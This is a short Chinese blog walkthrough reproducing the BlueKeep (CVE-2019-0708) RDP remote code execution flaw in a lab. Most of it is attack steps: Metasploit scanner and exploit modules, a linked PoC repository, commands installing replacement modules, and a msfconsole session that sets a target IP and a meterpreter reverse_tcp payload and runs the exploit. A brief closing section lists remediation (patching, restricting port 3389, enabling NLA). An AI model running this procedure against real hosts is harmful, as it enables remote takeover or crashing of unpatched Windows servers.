CVE-2019-0708 远程桌面代码执行
程序员文章站
2022-03-23 17:57:44
...
一、 制造蓝屏
攻击机:kali
靶机:windows server 2008 R2
kali:
auxiliary/scanner/rdp/cve_2019_0708_bluekeep
此模块 检测是否开启 远程桌面exploit/windows/rdp/cve_2019_0708_bluekeep_rce
此模块 造成蓝屏
二、代码执行
poc 下载 :https://github.com/TinToSer/bluekeep-exploit
替换模块
cp ./rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb
cp ./rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb
cp ./cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
cp ./cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb
复现:
aaa@qq.com:~# msfconsole
msf5 > reload_all # 加载0708exp
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set rhosts 192.168.183.136
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set target 2
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > run
注意事项:
target是主机架构选择的意思,使用show targets可查看相关选项,这里必须要选择正确,否则会导致目标机器蓝屏。这里可以先试试2再试试3。
漏洞修复
及时打对应系统的安全补丁
关闭3389端口或添加防火墙安全策略限制对3389端口的访问
打不了补丁的可以开启远程桌面(网络级别身份验证(NLA)),可以临时防止漏洞攻击